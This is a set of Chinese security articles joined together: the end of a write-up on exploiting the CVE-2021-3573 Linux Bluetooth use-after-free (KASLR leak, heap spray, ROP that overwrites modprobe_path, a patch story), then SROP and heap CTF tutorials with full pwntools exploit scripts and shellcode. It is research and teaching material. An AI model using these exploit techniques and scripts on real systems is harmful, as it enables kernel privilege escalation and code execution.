[ 17.803753] FS: 00007fa9edf9d740(0000) GS:ffff9db33ec00000(0000) knlGS:0000000000000000
[ 17.803921] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 17.804042] CR2: 0000000000000000 CR3: 000000000225c000 CR4: 00000000001006f0
Wow，可以看到寄存器 RDI, R11 以及 R14 都放着非常可疑的内核地址。通过查看 `System.map` 我们发现寄存器 `R14`
正好存放着全局数据对象 `__per_cpu_offset` 的地址 （调试环境下还没有开启KASLR），那么我们可以通过它来计算 KASLR
的偏移，以绕过随机化保护。
$ cat System.map | grep bdb106a0
ffffffffbdb106a0 R __per_cpu_offset
### Exploitation
#### RIP hijacking
在KASLR绕过之后，下一个目标便是怎样去劫持控制流。为达此目标，一个UAF漏洞最简单的方式就是基于堆喷去覆盖目标对象上的函数指针，这样子，只要这些被覆写的函数指针被用到的时候，便可以完成控制流劫持了。嗯，思路简单直接，而且这件事情看起来相当容易：因为
`hdev` 对象是 `hci_dev` 结构体，并由 `kmalloc-8k`
的缓存进行维护。由于对象的大小已经如此之大，这使得其所在的缓存相当的稳定，我们很简单的就可以通过像 `setxattr` 这样的方法完成对该目标的占位。
此外，这个结构体的尾巴上实在是有很多可口的函数指针啊
struct hci_dev {
...
int (*open)(struct hci_dev *hdev);
int (*close)(struct hci_dev *hdev);
int (*flush)(struct hci_dev *hdev);
int (*setup)(struct hci_dev *hdev);
int (*shutdown)(struct hci_dev *hdev);
int (*send)(struct hci_dev *hdev, struct sk_buff *skb);
void (*notify)(struct hci_dev *hdev, unsigned int evt);
void (*hw_error)(struct hci_dev *hdev, u8 code);
int (*post_init)(struct hci_dev *hdev);
int (*set_diag)(struct hci_dev *hdev, bool enable);
int (*set_bdaddr)(struct hci_dev *hdev, const bdaddr_t *bdaddr);
void (*cmd_timeout)(struct hci_dev *hdev);
bool (*prevent_wake)(struct hci_dev *hdev);
};
好的，在假设我们能堆喷并完全覆盖整个 `hdev` 对象的前提下，我们能完成控制流劫持么？Emmm，事情好像没那么容易，因为 USING
线程的第一现场并没有调用到任何函数指针。
static int hci_sock_sendmsg(struct socket *sock, struct msghdr *msg,
size_t len)
{
...
hdev = hci_pi(sk)->hdev;
if (!hdev) {
err = -EBADFD;
goto done;
}
...
if (memcpy_from_msg(skb_put(skb, len), msg, len)) {
err = -EFAULT;
goto drop;
}
hci_skb_pkt_type(skb) = skb->data[0];
skb_pull(skb, 1);
if (hci_pi(sk)->channel == HCI_CHANNEL_USER) {
...
} else if (hci_skb_pkt_type(skb) == HCI_COMMAND_PKT) {
...
if (ogf == 0x3f) {
skb_queue_tail(&hdev->raw_q, skb);
queue_work(hdev->workqueue, &hdev->tx_work); // {4}
} else {
/* Stand-alone HCI commands must be flagged as
* single-command requests.
*/
bt_cb(skb)->hci.req_flags |= HCI_REQ_START;
skb_queue_tail(&hdev->cmd_q, skb);
queue_work(hdev->workqueue, &hdev->cmd_work); // {5}
}
} else {
if (!capable(CAP_NET_RAW)) {
err = -EPERM;
goto drop;
}
skb_queue_tail(&hdev->raw_q, skb);
queue_work(hdev->workqueue, &hdev->tx_work); // {4}
}
...
}
整个 `hci_sock_sendmsg()` 函数做的事情就是去用户态拿到要发送的数据包，并根据数据包的类型去决定要将 `cmd_work` 还是
`tx_work` 放入工作队列。
诶？工作队列？虽然不是直接的函数调用，这也是和控制流相关的逻辑啊。可能老师傅们已经悟到，可以通过覆盖 `hdev->cmd_work` 或者
`hdev->tx_work` 来完成控制流劫持了。实际上，相关的 `work_struct` 中确实存在可口的函数指针。
typedef void (*work_func_t)(struct work_struct *work);
struct work_struct {
atomic_long_t data;
struct list_head entry;
work_func_t func;
#ifdef CONFIG_LOCKDEP
struct lockdep_map lockdep_map;
#endif
};
即成员 `work_func_t func`。由于我们可以覆盖完整的整个 `hdev` 对象，去把这几个 `work_struct`
改掉看起来也只是小菜一碟哈。
只不过，我又错了。
仅仅去覆盖掉 `work_struct` 是没有用的，因为 `queue_work()`
必须要求一个合法的工作队列来承载这个要被调度的工作。即我们需要一个合法的 `hdev->workqueue` 才能完成上述的攻击。
这有可能可以做到么？`workqueue`是`hdev`下的一个指针对象，如果我们能将其改写成一个已知的而且指向合法的工作队列的指针的话，事情就可以顺利进行。
虽然听起来合理，但这个方案难度是很大的。因为 `workqueue_struct` 并非是全局的数据结构，而是在 `hdev`
对象注册时候被动态创建的，位于内核的SLUB堆上。即使在前文我们已经完成了对于KASLR的泄露绕过，但我们并没有任意读能力，因此想泄露出一个合法工作队列所在的堆地址这一方案实在是黄粱美梦。
当然，安全研究者永不言败，如果没法覆盖一个新的工作队列指针上去，那我们就想办法用旧的吧！`hdev`对象在堆喷覆盖之前，其`workqueue`成员指向的是已经在`hci_unregister_dev()`中被释放掉的一个工作队列，换言之，其指向的是一个被释放了的，`kmalloc-512`的堆对象。我们可以再次使用堆喷的方式，想办法在该位置上喷射上去一个合法的工作队列。
针对`workqueue_struct`的喷洒已经是利用中的第二次堆喷了，有趣的是，这一次堆喷并不是要喷我们自己的数据，而是想喷上去一个合法的工作队列结构体。所以堆喷的路径并非大家知道的`msg`,
`setxattr`。我的做法就是想办法再多创建一些虚拟的蓝牙设备，毕竟每个设备初始化的时候都会创建`hdev`中的工作队列的。
>
> 值得一提，对于`workqueue_struct`的喷射比之前对于`hdev`的喷射要困难了许多，这是因为`kmalloc-512`的对象好像非常“热门”，总是有地方冒出来。在我的利用中，我通过调整设备初始化的顺序来增加喷射的成功率，细节可以见代码。
当这一次喷射成功时，`workqueue`指针就指向了一个合法的工作队列，而 `queue_work` 就可以成功将需要被调度的 `work_struct`
压入工作队列。不过呢，因为在 `hdev` 中 `workqueue` 在 `cmd_work` 和 `tx_work`
的前面，所以我们没法在这一步就去覆盖掉 `work_struct` 的 `fn` 成员。
不过这其实还好，因为将要被调度的 `hci_cmd_work` 或者 `hci_tx_work` 都会跑到一个会使用到 `hdev` 内函数指针的
`hci_send_frame` 代码内，我们可以在那个时候再搞定控制流。
只不过呢，我又又错了。
因为，这个利用思路非常不稳定：我们没法很好地预测工作队列调度目标 `work_struct` 的时间，这个时延可能非常短，以至于我根本没有机会让
`setxattr`
喷上我想要的数据而函数指针就已经被用过了。这些该死的函数指针偏偏放在结构体的末尾，我又偏偏需要`hdev`中保留的`workqueue`的值，如下逻辑。
真是伤脑筋，难道就没有一个比较好的，可以预测的访问函数指针的位置么？
当然，或者说碰巧，是有的。正如老话所言，当上帝把门关上时，他一定会打开一扇窗。我在已有的调用路径上发现了又一个财宝，那就是延时工作:
`delayed_work`
static void hci_cmd_work(struct work_struct *work)
{
struct hci_dev *hdev = container_of(work, struct hci_dev, cmd_work);
...
hdev->sent_cmd = skb_clone(skb, GFP_KERNEL);
if (hdev->sent_cmd) {
...
if (test_bit(HCI_RESET, &hdev->flags))
cancel_delayed_work(&hdev->cmd_timer);
else
schedule_delayed_work(&hdev->cmd_timer,
HCI_CMD_TIMEOUT); // {6}
} else {
skb_queue_head(&hdev->cmd_q, skb);
queue_work(hdev->workqueue, &hdev->cmd_work);
}
由`{6}`标记的代码会为发出去的命令注册一个延迟工作，以处理该命令的回复超时的情况。`delayed_work`的逻辑其实很`work_struct`非常想，只不过呢，我们有一段非常可预测的时间窗了
#define HCI_CMD_TIMEOUT msecs_to_jiffies(2000) /* 2 seconds */
2秒，看起来非常合适。现在，我们可以让堆喷的`setxattr`先一直卡着，直到接近2秒的时候再覆盖上我们的恶意数据，这样子就可以保证前文所计划的攻击都能完成，并且我们获得了一个劫持RIP的原语。
#### ROP
ROP的故事并没有控RIP的故事那样精彩，不过在做栈迁移的时候还是有一些小技巧的。
/* HCI command timer function */
static void hci_cmd_timeout(struct work_struct *work)
{
struct hci_dev *hdev = container_of(work, struct hci_dev,
cmd_timer.work);
...
if (hdev->cmd_timeout)
hdev->cmd_timeout(hdev);
在正常的情况下，`cmd_timer`会唤醒函数`hci_cmd_timeout`去完成超时处理，我们看到函数内有基于`hdev->cmd_timeout`的函数指针使用。在该位置劫持控制流后，第一个跳向的gadget一定得想办法将栈迁移到可控的堆上去（最好就是我们覆盖的
`hdev` 成员）。在内核中找了几遍后，我们却没有找到非常合适的gadget。
比如说，我们经常使用的一个类型的gadget便是直接通过`mov`去写`rsp`的
For example, the popular one
0xffffffff81e0103f: mov rsp, rax; push r12; ret;
但是，此时我们劫持控制流的代码`hdev->cmd_timeout(hdev)`其底层实现是`__x86_indirect_thunk_rax`，也就是说，此时的rax寄存器是刚好指向要跳往的gadget的，一心不可二用，rax此时又怎么能指向堆地址呢？
> 还有一些经典的通过 xchg 去迁移栈的，只不过那往往是用于 SMAP 保护关闭的情况。我们的目标环境是保护全开的，这类 gadget 也不好用。
迁栈的问题确实困扰了我许久，感谢队内大佬[Nop](n0nop.com)帮助，我们最好找到了一个非常合适的迁栈方法。
首先，我们使用的gadget是
0xffffffff81060a41 <__efi64_thunk+81>: mov rsp,QWORD PTR [rsp+0x18]
0xffffffff81060a46 <__efi64_thunk+86>: pop rbx
0xffffffff81060a47 <__efi64_thunk+87>: pop rbp
0xffffffff81060a48 <__efi64_thunk+88>: ret
其会将栈上 rsp + 0x18 位置的值给 RSP 寄存器，那么，接着就是一个关键点，它既能满足控制流劫持，又可以刚好让 [rsp + 0x18]
指向合适的堆地址。
我最后选定的目标是 `hci_error_reset`，其内部又一个 `hdev->hw_error`
的调用。而且通过调试，我们发现调用点的栈满足所需，[rsp + 0x18]刚好是指向 `hdev` 内部的，Perfect！
static void hci_error_reset(struct work_struct *work)
{
struct hci_dev *hdev = container_of(work, struct hci_dev, error_reset);
BT_DBG("%s", hdev->name);
if (hdev->hw_error)
hdev->hw_error(hdev, hdev->hw_error_code);
else
bt_dev_err(hdev, "hardware error 0x%2.2x", hdev->hw_error_code);
...
}
剩下的工作就是大家都熟悉的ROP了，出于只是展示的需要，我实现的ROP其仅仅完成的是对于`modprobe_path`的修改。代码以及demo开源在github上
<https://github.com/f0rm2l1n/ExP1oiT5/tree/main/CVE-2021-3573>
感兴趣的读者可以试着写一下更完善的ROP
## 修复的故事
如果是你，你会怎样修复在这样一个条件竞争的漏洞呢？
当我提交该漏洞时候，我向内核社区提供了一份如下的补丁作为参考。
--- net/bluetooth/hci_sock.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/net/bluetooth/hci_sock.c b/net/bluetooth/hci_sock.c
index 251b9128f530..eed0dd066e12 100644
--- a/net/bluetooth/hci_sock.c
+++ b/net/bluetooth/hci_sock.c
@@ -762,7 +762,7 @@ void hci_sock_dev_event(struct hci_dev *hdev, int event)
/* Detach sockets from device */
read_lock(&hci_sk_list.lock);
sk_for_each(sk, &hci_sk_list.head) {
- bh_lock_sock_nested(sk);
+ lock_sock(sk);
if (hci_pi(sk)->hdev == hdev) {
hci_pi(sk)->hdev = NULL;
sk->sk_err = EPIPE;
@@ -771,7 +771,7 @@ void hci_sock_dev_event(struct hci_dev *hdev, int event)
hci_dev_put(hdev);
}
- bh_unlock_sock(sk);
+ release_sock(sk);
}
read_unlock(&hci_sk_list.lock);
}
-- 2.30.2
从漏洞发现者的角度来看，这个漏洞的根本成因在于有一个特殊的 FREEING 线程，其可能可以在别的 USING
线程（如`hci_sock_bound_ioctl` and `hci_sock_sendmsg`）还在使用 `hdev` 对象时候便将该目标给释放掉。
所以呢，我的补丁通过替换锁来完成对于该 FREEING 线程的堵塞。在打上这个补丁之后，KASAN并不会再有任何的报告，感觉是没啥问题的。
悲哀的是，我又又又错了。
因为我本人并不是非常清楚内核中的同步机制，这里对于锁的替换仅仅是参考相关的 USING
线程，以直觉方式完成的。我并没有去仔细进行锁的分析，以至于我提供的补丁是有可能造成死锁的（我真的不是故意的呜呜呜）
**更糟糕的是，内核并没有经过任何犹豫便打上了我提供的补丁。**
灾难大概在补丁进入内核主线的一周之后开始初见端倪：我开始收到各种各样的邮件来控诉这个荒唐的补丁。其中最早来的是谷歌的 [Anand K.
Mistry](https://github.com/akmistry)，他向我展示了在开启 `CONFIG_LOCK_DEBUG`
后生成的错误报告以及死锁的可能性分析。在他之后，也有越来越多的内核开发者注意到了这条有问题的补丁。其中很大的促进因素是谷歌的模糊测试机器人 syzbot
>
> Also, this regression is currently 7th top crashers for syzbot
这个机器人将触发这个锁错误的测试报告不断发送给蓝牙的维护者（因为实在太好触发了，设备一旦卸载这个错误就会被捕获）。
我实在是羞愧的想挖个洞把自己给埋了。可能你会很好奇，再提交一份正确的修复不就好了么？但悲哀的事实是，这个条件竞争并不好修复，社区中也开展了充足的讨论，读者可以阅读下面的链接去了解该情况。
* <https://www.spinics.net/lists/linux-bluetooth/msg92649.html>
* [https://marc.info/?l=linux-bluetooth&m=162441276805113&w=2](https://marc.info/?l=linux-bluetooth&m=162441276805113&w=2)
* [https://marc.info/?l=linux-bluetooth&m=162653675414330&w=2](https://marc.info/?l=linux-bluetooth&m=162653675414330&w=2)
让人欣慰的是，内核大佬 Tetsuo Handa 与蓝牙维护者 [Luiz](https://github.com/Vudentz)
对这个问题是十分上心的，我相信一份正确的补丁会很快成埃落定的。
## 结论
这是我的首个Linux内核0 day利用，说真的，这个过程中我真的学到了很多：写漏洞利用真的就是一门艺术。
当然，需要承认的是这个漏洞虽然可以稳定触发，但品相也还是有缺点的：其要求 `CAP_NET_ADMIN` 权限，所以在野场景下的 fullchain
利用要求攻击者先攻破具有该权限的 daemon 才行。
这是挖掘本地蓝牙栈漏洞的一个固有缺点，因为我们需要在用户态模拟一个假的蓝牙控制器，而这件事情显然不会是零权限的。更好品质的漏洞自然应该像
[BleedingTooth](https://github.com/google/security-research/tree/master/pocs/linux/bleedingtooth) 那样在不要求任何点击的情况下，在 **远程** 完成代码执行。
我相信这种理想类型的漏洞会是我们的终极目标 | 社区文章 |
# 简介
SROP的全称是`Sigreturn Oriented
Programming`,这是`ROP`攻击方法中的一种,其中`sigreturn`是一个系统调用，在类unix系统发生signal的时候会被间接地调用;在传统的`ROP`攻击中我们需要寻找大量的`gadgets`来对寄存器进行赋值已达到我们的需求,而`SROP`可以减少我们寻找`gadgets`的难度....
# 前置知识
## signal 机制
我们都知道在Linux中,系统被分为了用户态和内核态,通常情况下用户态和内核态是相互隔离开的,而`signal`机制是类unix系统中进程之间相互传递信息的一种方法,常见的信号机制常见的步骤如下图所示:
1. 内核向某个进程发送signal机制，该进程会被暂时挂起，进入内核态;
2. 内核会为该进程保存相应的上下文，主要是将所有寄存器压入栈中，以及压入signal信息,以及指向sigreturn的系统调用地址;此时栈的结构如下图所示,我们称ucontext以及siginfo这一段为Signal Frame.需要注意的是,这一部分是在用户进程的地址空间的;之后会跳转到注册过的signal handler中处理相应的signal.因此,当signal handler执行完之后，就会执行sigreturn代码.
(此段引用[ctf-wiki](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/advanced-rop-zh/#srop))
简单的来说就是当一个用户层进程发起`signal`时，控制权就会切到内核层,然后内核保存进程的上下文,即各个寄存器的值到用户的栈上，然后再把`rt_sigreturn`的地址压栈，跳到用户层执行`Signal
Handler`,即调用`rt_sigreturn`;当`rt_sigreturn`执行完了之后就会跳到内核层,进行内核的操作了;最后内核恢复2中保存的进程上下文,控制权再次交还到用户层进程....
## sigcontext结构体
64位:
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
32位:
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
可以看到这里面保存有很多的寄存器,`signal handler`返回后,内核为执行 sigreturn
系统调用,为该进程恢复之前保存的上下文，其中包括将所有压入的寄存器,重新`pop`回对应的寄存器,最后恢复进程的执行....
需要注意的是32位的`sigreturn`的调用号为77,64位的系统调用号为15....
# 攻击原理
因为`Signal
Frame`保存在用户的地址空间中,所以用户是可以读写的;利用`rt_sigreturn`恢复`ucontext_t`的机制，我们可以构造一个假的`ucontext_t`,这样我们就能控制所有的寄存器....
不过在结构体的构建时,我们可以用`pwntools`里面有现成的[库函数](http://docs.pwntools.com/en/stable/rop/srop.html?highlight=srop):
用法可以这样:
# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
sigframe = SigreturnFrame()
sigframe.rax = 0x1
sigframe.rdi = 0x2
sigframe.rsi = 0x3
sigframe.rdx = 0x4
但是这个`SROP`并不是单纯只用在一个栈溢出漏洞中,通常我们会结合有些其他的漏洞来使用,因为比较难构造....
# 实例
这里我以2019`UNCTF`的`orwHeap`这道题目来简单感受一下SROP的威力:
首先,我们先运行查看这个程序的功能:
我们发现是常规的堆分配,编辑和删除,但是没有输出....
检查开了哪些保护:
然后我们打开ida来分析:
这里明显有溢出了....
所以这里我们可以利用这个漏洞来修改堆的`size`使得堆其重叠,然后控制堆;
但是因为这里我们没有`show`功能来泄露地址,所以我们要想办法利用`stdout`函数来泄露地址;
我们需要在堆上面留下`main_arena`的地址,利用重叠的堆来修改这个地址,让其分配到`stdout`的位置,因为`stdout`的地址和`main_arena`离的很近,所以我们只需要爆破一个字节的地址就可以成功;
之后我们获得了地址了就可以利用`fastbin
attack`劫持`__free_hook`,利用`setcontex`来进行SROP然后ROP读出`flag`了;
这里要说一下`setcontext`函数;
int setcontext(const ucontext_t *ucp);
这个函数的作用主要是用户上下文的获取和设置,可以利用这个函数直接控制大部分寄存器和执行流:
pwndbg> x/80i 0x7ffff7a7bb50
0x7ffff7a7bb50 <setcontext>: push rdi
0x7ffff7a7bb51 <setcontext+1>: lea rsi,[rdi+0x128]
0x7ffff7a7bb58 <setcontext+8>: xor edx,edx
0x7ffff7a7bb5a <setcontext+10>: mov edi,0x2
0x7ffff7a7bb5f <setcontext+15>: mov r10d,0x8
0x7ffff7a7bb65 <setcontext+21>: mov eax,0xe
0x7ffff7a7bb6a <setcontext+26>: syscall
0x7ffff7a7bb6c <setcontext+28>: pop rdi
0x7ffff7a7bb6d <setcontext+29>: cmp rax,0xfffffffffffff001
0x7ffff7a7bb73 <setcontext+35>: jae 0x7ffff7a7bbd0 <setcontext+128>
0x7ffff7a7bb75 <setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x7ffff7a7bb7c <setcontext+44>: fldenv [rcx]
0x7ffff7a7bb7e <setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x7ffff7a7bb85 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x7ffff7a7bb8c <setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
0x7ffff7a7bb93 <setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
0x7ffff7a7bb97 <setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
0x7ffff7a7bb9b <setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
0x7ffff7a7bb9f <setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
0x7ffff7a7bba3 <setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
0x7ffff7a7bba7 <setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x7ffff7a7bbae <setcontext+94>: push rcx
0x7ffff7a7bbaf <setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
0x7ffff7a7bbb3 <setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
0x7ffff7a7bbba <setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
0x7ffff7a7bbc1 <setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
0x7ffff7a7bbc5 <setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
0x7ffff7a7bbc9 <setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
0x7ffff7a7bbcd <setcontext+125>: xor eax,eax
0x7ffff7a7bbcf <setcontext+127>: ret
0x7ffff7a7bbd0 <setcontext+128>: mov rcx,QWORD PTR [rip+0x3572a1] # 0x7ffff7dd2e78
0x7ffff7a7bbd7 <setcontext+135>: neg eax
0x7ffff7a7bbd9 <setcontext+137>: mov DWORD PTR fs:[rcx],eax
0x7ffff7a7bbdc <setcontext+140>: or rax,0xffffffffffffffff
0x7ffff7a7bbe0 <setcontext+144>: ret
一般是从`setcontext+53`开始用的,不然程序容易崩溃,主要是为了避开`fldenv [rcx]`这个指令....
一般用来利用`call mprotect` -> `jmp shellcode`
0x7ffff7b1e4d0 <mprotect>: mov eax,0xa
0x7ffff7b1e4d5 <mprotect+5>: syscall
0x7ffff7b1e4d7 <mprotect+7>: cmp rax,0xfffffffffffff001
0x7ffff7b1e4dd <mprotect+13>: jae 0x7ffff7b1e4e0 <mprotect+16>
0x7ffff7b1e4df <mprotect+15>: ret
0x7ffff7b1e4e0 <mprotect+16>: mov rcx,QWORD PTR [rip+0x2b4991] # 0x7ffff7dd2e78
0x7ffff7b1e4e7 <mprotect+23>: neg eax
0x7ffff7b1e4e9 <mprotect+25>: mov DWORD PTR fs:[rcx],eax
0x7ffff7b1e4ec <mprotect+28>: or rax,0xffffffffffffffff
0x7ffff7b1e4f0 <mprotect+32>: ret
最终的exp如下:
# EXP
# -*- coding:utf-8 -*- from pwn import *
import os
import struct
import random
import time
import sys
import signal
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.arch = 'amd64'
name = './pwn'
p = process(name)
# p = remote('101.71.29.5', 10005)
elf = ELF(name)
# libc = ELF('./libc-2.27.so')
libc = ELF('./x64_libc-2.23.so.6')
if args.G:
gdb.attach(p)
def add(size, content):
p.sendlineafter('Your Choice: ', '1')
p.sendlineafter(': ', str(size))
p.sendafter(': ' , content)
def delete(index):
p.sendlineafter('Your Choice: ', '2')
p.sendlineafter(': ', str(index))
def edit(index, content):
p.sendlineafter('Your Choice: ', '3')
p.sendlineafter(': ', str(index))
p.sendafter(': ' , content)
add(0x68, '\n')
add(0x78, '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
add(0x68, (p64(0) + p64(0x21)) * 6 + '\n')
delete(0)
add(0x68, 'a' * 0x60 + p64(0) + p8(0xf1))
delete(1)
delete(2)
add(0x78, '\n')
delete(0)
add(0x68, 'a' * 0x60 + p64(0) + p8(0xa1))
delete(1)
add(0x98, '\n')
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p16(0x25dd)) # 0x25dd需要爆破
add(0x68, '\n')
add(0x68, 'c' * 0x33 + p64(0xfbad2887 | 0x1000) + p64(0) * 3 + '\n')
p.recvn(0x88)
libc_addr = u64(p.recvn(8)) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))
edit(1, 'b' * 0x70 + p64(0) + p64(0x91))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x91) + p64(0) + p64(libc_addr + libc.symbols['__free_hook'] - 0x20))
add(0x88, '\n')
edit(1, 'b' * 0x70 + p64(0) + p64(0x71))
delete(2)
edit(1, 'b' * 0x70 + p64(0) + p64(0x71) + p64(libc_addr + libc.symbols['__free_hook'] - 0x13))
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000 #
frame.rdx = 0x2000
frame.rsp = (libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000
frame.rip = libc_addr + 0x00000000000bc375 #: syscall; ret;
payload = str(frame)
add(0x68, payload[0x80:0x80 + 0x60] + '\n')
add(0x68, 'fff' + p64(libc_addr + libc.symbols['setcontext'] + 53) + '\n')
edit(1, payload[:0x98])
delete(1)
layout = [
libc_addr + 0x0000000000021102, #: pop rdi; ret;
(libc_addr + libc.symbols['__free_hook']) & 0xfffffffffffff000,
libc_addr + 0x00000000000202e8, #: pop rsi; ret;
0x2000,
libc_addr + 0x0000000000001b92, #: pop rdx; ret;
7,
libc_addr + 0x0000000000033544, #: pop rax; ret;
10,
libc_addr + 0x00000000000bc375, #: syscall; ret;
libc_addr + 0x0000000000002a71, #: jmp rsp;
]
shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi
mov eax, 2
syscall
cmp eax, 0
js failed
mov edi, eax
mov rsi, rsp
mov edx, 0x100
xor eax, eax
syscall
mov edx, eax
mov rsi, rsp
mov edi, 1
mov eax, edi
syscall
jmp exit
failed:
push 0x6c696166
mov edi, 1
mov rsi, rsp
mov edx, 4
mov eax, edi
syscall
exit:
xor edi, edi
mov eax, 231
syscall
''')
p.send(flat(layout) + shellcode)
p.interactive() | 社区文章 |
# pwn堆入门系列教程5
[pwn堆入门系列教程1](https://xz.aliyun.com/t/6087)
[pwn堆入门系列教程2](https://xz.aliyun.com/t/6169)
[pwn堆入门系列教程3](https://xz.aliyun.com/t/6252)
[pwn堆入门系列教程4](https://xz.aliyun.com/t/6322)
进入uaf学习了，这部分题目就一道题
## hitcon-training-hacknote
这道题其实很简单，不过要冷静下才能做，我当时有点急躁，浪费一个钟才搞出来？冷静下来10分钟懂了
### 漏洞点
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(*(notelist[v1] + 1));
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
### 漏洞利用过程
具体分析不讲了，ctf-wiki上讲的很清楚， 我大致讲一下就是要利用要覆盖到他的content指针，这样的话print的时候会调用到另一个函数
### exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'hacknote'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
#ctx.binary = './' + 'hacknote'
ctx.binary = exe
libc = elf.libc
ctx.debug_remote_libc = False
ctx.remote_libc = libc
if local:
context.log_level = 'debug'
io = ctx.start()
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: No PIE (0x8048000)
def add(size, content):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Note size :", str(size))
io.sendlineafter("Content :", content)
def delete(idx):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Index :", str(idx))
def Print(idx):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Index :", str(idx))
def Exit():
io.sendlineafter("Your choice :", "4")
def exp():
ptr = 0x08048986
add(0x20, 'aaaa')
add(0x20, 'bbbb')
delete(0)
delete(1)
add(0x8, p32(ptr))
Print(0)
if __name__ == '__main__':
exp()
io.interactive()
接下来进入fastbin attack,fastbin attack有三个题目
## 2014 hack.lu oreo
补充函数说明：
* fgets函数会在输入完成后自动在结尾添加一个'\0'，比如我们输入1234加上我们的回车总共是1234'\x0a''\x00'他sub_80485EC这个函数会将\x0a变成\x00
### 结构体构造
开头调试的时候一直不理解他的结构体是如何构造出来的，然后ida解析出来的跟他图片上所谓结构体格格不入，所以手动调试了一下午，知道了他的结构体是如何构造的
struct gum
{
char decription[25];
char name[27];
struct *next;
}
这个结构体是经过调试以及看汇编得出来的，
unsigned int sub_8048644()
{
char *v1; // [esp+18h] [ebp-10h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
v1 = dword_804A288;
dword_804A288 = (char *)malloc(0x38u);
if ( dword_804A288 )
{
*((_DWORD *)dword_804A288 + 13) = v1;
printf("Rifle name: ");
fgets(dword_804A288 + 25, 56, stdin);
sub_80485EC(dword_804A288 + 25);
printf("Rifle description: ");
fgets(dword_804A288, 56, stdin);
sub_80485EC(dword_804A288);
++dword_804A2A4;
}
else
{
puts("Something terrible happened!");
}
return __readgsdword(0x14u) ^ v2;
}
这里可以看出filename从25开始的，推出前面的description为25，而name长度为27是如何推出来的呢？看图
我这是在输出函数
unsigned int sub_8048729()
{
char *i; // [esp+14h] [ebp-14h]
unsigned int v2; // [esp+1Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("Rifle to be ordered:\n%s\n", "===================================");
for ( i = dword_804A288; i; i = (char *)*((_DWORD *)i + 13) )
{
printf("Name: %s\n", i + 25);
printf("Description: %s\n", i);
puts("===================================");
}
return __readgsdword(0x14u) ^ v2;
}
